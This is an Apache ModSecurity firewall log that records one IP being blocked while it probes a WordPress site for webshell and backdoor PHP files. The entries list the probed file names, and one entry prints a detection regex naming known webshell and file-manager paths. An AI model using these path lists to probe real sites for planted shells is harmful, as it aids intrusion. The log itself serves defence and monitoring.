[Thu Apr 16 07:18:08.799846 2026] [:error] [pid 57538:tid 57620] [client 4.231.201.132:8026] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "aeAcsMuMaiEF5SVR2BdHtwAAAJI"]
[Thu Apr 16 07:18:09.301513 2026] [:error] [pid 57639:tid 57649] [client 4.231.201.132:8001] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "aeAcsaMCQoTw7TsxWunWsAAAAMM"]
[Thu Apr 16 07:18:09.914363 2026] [:error] [pid 49094:tid 49108] [client 4.231.201.132:18099] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "aeAcsTbDwvcXorHR_MyurQAAAUw"]
[Thu Apr 16 07:18:10.517249 2026] [:error] [pid 49094:tid 49119] [client 4.231.201.132:8093] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aeAcsjbDwvcXorHR_MyurwAAAVc"]
[Thu Apr 16 07:18:11.095949 2026] [:error] [pid 49094:tid 49110] [client 4.231.201.132:8186] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aeAcszbDwvcXorHR_MyusQAAAU4"]
[Thu Apr 16 07:18:11.664877 2026] [:error] [pid 49094:tid 49103] [client 4.231.201.132:8103] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aeAcszbDwvcXorHR_MyutAAAAUc"]
[Thu Apr 16 07:18:12.251056 2026] [:error] [pid 57538:tid 57613] [client 4.231.201.132:8080] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aeActMuMaiEF5SVR2BdHuQAAAIs"]
[Thu Apr 16 07:18:12.842464 2026] [:error] [pid 57639:tid 57652] [client 4.231.201.132:8075] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeActKMCQoTw7TsxWunWswAAAMY"]
[Thu Apr 16 07:18:13.382351 2026] [:error] [pid 29603:tid 29622] [client 4.231.201.132:8030] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeActVfGOR6fpTWUAzrd_wAAARE"]
[Thu Apr 16 07:18:13.898852 2026] [:error] [pid 57536:tid 57561] [client 4.231.201.132:8112] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeActSQU4faGja6jpDuJGAAAAA0"]
[Thu Apr 16 07:18:14.451584 2026] [:error] [pid 57536:tid 57555] [client 4.231.201.132:8078] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeActiQU4faGja6jpDuJGQAAAAc"]
[Thu Apr 16 07:18:14.973096 2026] [:error] [pid 29603:tid 29626] [client 4.231.201.132:8184] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeActlfGOR6fpTWUAzreAQAAARU"]
[Thu Apr 16 07:18:15.505769 2026] [:error] [pid 57538:tid 57625] [client 4.231.201.132:8002] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeAct8uMaiEF5SVR2BdHvgAAAJc"]
[Thu Apr 16 07:18:16.053937 2026] [:error] [pid 57639:tid 57670] [client 4.231.201.132:8160] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeAcuKMCQoTw7TsxWunWtgAAANg"]
[Thu Apr 16 07:18:16.709796 2026] [:error] [pid 57538:tid 57623] [client 4.231.201.132:8133] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeAcuMuMaiEF5SVR2BdHwAAAAJU"]
[Thu Apr 16 07:18:17.379911 2026] [:error] [pid 57538:tid 57604] [client 4.231.201.132:18102] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aeAcucuMaiEF5SVR2BdHwQAAAII"]
[Thu Apr 16 07:18:17.951317 2026] [:error] [pid 57536:tid 57557] [client 4.231.201.132:8021] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aeAcuSQU4faGja6jpDuJGwAAAAk"]
[Thu Apr 16 07:19:12.014327 2026] [:error] [pid 57538:tid 57621] [client 4.231.201.132:18061] [client 4.231.201.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeAc8MuMaiEF5SVR2BdIIwAAAJM"]
[Thu Apr 16 07:19:17.536595 2026] [:error] [pid 57538:tid 57626] [client 4.231.201.132:8050] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aeAc9cuMaiEF5SVR2BdILAAAAJg"]
[Thu Apr 16 07:19:18.119381 2026] [:error] [pid 57538:tid 57617] [client 4.231.201.132:8102] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aeAc9suMaiEF5SVR2BdILQAAAI8"]
[Thu Apr 16 07:19:18.681471 2026] [:error] [pid 29603:tid 29611] [client 4.231.201.132:8089] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aeAc9lfGOR6fpTWUAzreWwAAAQY"]
[Thu Apr 16 07:19:19.265505 2026] [:error] [pid 29603:tid 29620] [client 4.231.201.132:8167] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aeAc91fGOR6fpTWUAzreXQAAAQ8"]
[Thu Apr 16 07:19:19.921606 2026] [:error] [pid 49094:tid 49114] [client 4.231.201.132:8111] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aeAc9zbDwvcXorHR_MyvQQAAAVI"]
[Thu Apr 16 07:19:20.605368 2026] [:error] [pid 57639:tid 57656] [client 4.231.201.132:8008] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aeAc-KMCQoTw7TsxWunW7AAAAMo"]
[Thu Apr 16 07:19:21.182352 2026] [:error] [pid 57536:tid 57558] [client 4.231.201.132:18052] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aeAc-SQU4faGja6jpDuJLgAAAAo"]
[Thu Apr 16 07:19:21.812951 2026] [:error] [pid 57536:tid 57551] [client 4.231.201.132:8122] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aeAc-SQU4faGja6jpDuJMQAAAAM"]
[Thu Apr 16 07:19:22.379745 2026] [:error] [pid 57538:tid 57604] [client 4.231.201.132:18100] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeAc-suMaiEF5SVR2BdINAAAAII"]
[Thu Apr 16 07:19:23.040348 2026] [:error] [pid 57536:tid 57569] [client 4.231.201.132:8024] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeAc-yQU4faGja6jpDuJMwAAABU"]
[Thu Apr 16 07:19:23.640953 2026] [:error] [pid 49094:tid 49107] [client 4.231.201.132:8117] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeAc-zbDwvcXorHR_MyvRgAAAUs"]
[Thu Apr 16 07:19:24.212017 2026] [:error] [pid 57538:tid 57617] [client 4.231.201.132:7942] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeAc_MuMaiEF5SVR2BdIOQAAAI8"]
[Thu Apr 16 07:19:24.843479 2026] [:error] [pid 57538:tid 57619] [client 4.231.201.132:8171] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeAc_MuMaiEF5SVR2BdIOwAAAJE"]
[Thu Apr 16 07:19:25.356064 2026] [:error] [pid 57537:tid 57590] [client 4.231.201.132:8119] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeAc_VVQRS8nm73ENAk9-wAAAE8"]
[Thu Apr 16 07:19:25.915146 2026] [:error] [pid 29603:tid 29628] [client 4.231.201.132:18097] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeAc_VfGOR6fpTWUAzreaAAAARc"]
[Thu Apr 16 07:19:26.539071 2026] [:error] [pid 57536:tid 57561] [client 4.231.201.132:8108] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeAc_iQU4faGja6jpDuJNgAAAA0"]
[Thu Apr 16 07:19:27.086158 2026] [:error] [pid 57639:tid 57661] [client 4.231.201.132:8144] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeAc_6MCQoTw7TsxWunW9QAAAM8"]
[Thu Apr 16 07:19:27.701000 2026] [:error] [pid 57537:tid 57575] [client 4.231.201.132:8004] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeAc_1VQRS8nm73ENAk9_QAAAEA"]
[Thu Apr 16 07:19:28.249204 2026] [:error] [pid 57639:tid 57651] [client 4.231.201.132:8061] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeAdAKMCQoTw7TsxWunW-gAAAMU"]
[Thu Apr 16 07:19:28.778924 2026] [:error] [pid 57639:tid 57660] [client 4.231.201.132:8104] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeAdAKMCQoTw7TsxWunW_AAAAM4"]
[Thu Apr 16 07:19:29.321210 2026] [:error] [pid 57538:tid 57606] [client 4.231.201.132:18135] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeAdAcuMaiEF5SVR2BdIQwAAAIQ"]
[Thu Apr 16 07:19:29.939790 2026] [:error] [pid 57538:tid 57622] [client 4.231.201.132:8020] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeAdAcuMaiEF5SVR2BdIRwAAAJQ"]
[Thu Apr 16 07:19:30.576018 2026] [:error] [pid 29603:tid 29623] [client 4.231.201.132:18131] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeAdAlfGOR6fpTWUAzredwAAARI"]
[Thu Apr 16 07:19:31.138018 2026] [:error] [pid 57639:tid 57652] [client 4.231.201.132:8015] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeAdA6MCQoTw7TsxWunW_wAAAMY"]
[Thu Apr 16 07:19:31.687244 2026] [:error] [pid 57639:tid 57670] [client 4.231.201.132:8033] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aeAdA6MCQoTw7TsxWunXAAAAANg"]
[Thu Apr 16 07:19:32.254957 2026] [:error] [pid 57537:tid 57576] [client 4.231.201.132:8081] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aeAdBFVQRS8nm73ENAk-BAAAAEE"]
[Thu Apr 16 07:19:32.836401 2026] [:error] [pid 29603:tid 29613] [client 4.231.201.132:8118] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aeAdBFfGOR6fpTWUAzrefAAAAQg"]
[Thu Apr 16 07:19:33.374642 2026] [:error] [pid 57639:tid 57659] [client 4.231.201.132:8191] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aeAdBaMCQoTw7TsxWunXAQAAAM0"]
[Thu Apr 16 07:19:33.920507 2026] [:error] [pid 57537:tid 57579] [client 4.231.201.132:8028] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeAdBVVQRS8nm73ENAk-BgAAAEQ"]
[Thu Apr 16 07:19:34.478020 2026] [:error] [pid 29603:tid 29629] [client 4.231.201.132:8169] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeAdBlfGOR6fpTWUAzrefwAAARg"]
[Thu Apr 16 07:19:35.037520 2026] [:error] [pid 57639:tid 57653] [client 4.231.201.132:8125] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeAdB6MCQoTw7TsxWunXBwAAAMc"]
[Thu Apr 16 07:19:35.580863 2026] [:error] [pid 57536:tid 57566] [client 4.231.201.132:8159] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeAdByQU4faGja6jpDuJOQAAABI"]
[Thu Apr 16 07:19:36.168574 2026] [:error] [pid 57537:tid 57592] [client 4.231.201.132:8179] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aeAdCFVQRS8nm73ENAk-CAAAAFE"]
[Thu Apr 16 07:19:36.697853 2026] [:error] [pid 57639:tid 57654] [client 4.231.201.132:7943] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aeAdCKMCQoTw7TsxWunXCQAAAMg"]
[Thu Apr 16 07:19:37.252245 2026] [:error] [pid 49094:tid 49116] [client 4.231.201.132:8123] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aeAdCTbDwvcXorHR_MyvUwAAAVQ"]
[Thu Apr 16 07:19:37.923054 2026] [:error] [pid 57639:tid 57663] [client 4.231.201.132:8032] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aeAdCaMCQoTw7TsxWunXCwAAANE"]
[Thu Apr 16 07:19:38.481456 2026] [:error] [pid 49094:tid 49098] [client 4.231.201.132:7974] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeAdCjbDwvcXorHR_MyvWQAAAUI"]
[Thu Apr 16 07:19:39.050191 2026] [:error] [pid 49094:tid 49102] [client 4.231.201.132:8095] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeAdCzbDwvcXorHR_MyvWgAAAUY"]
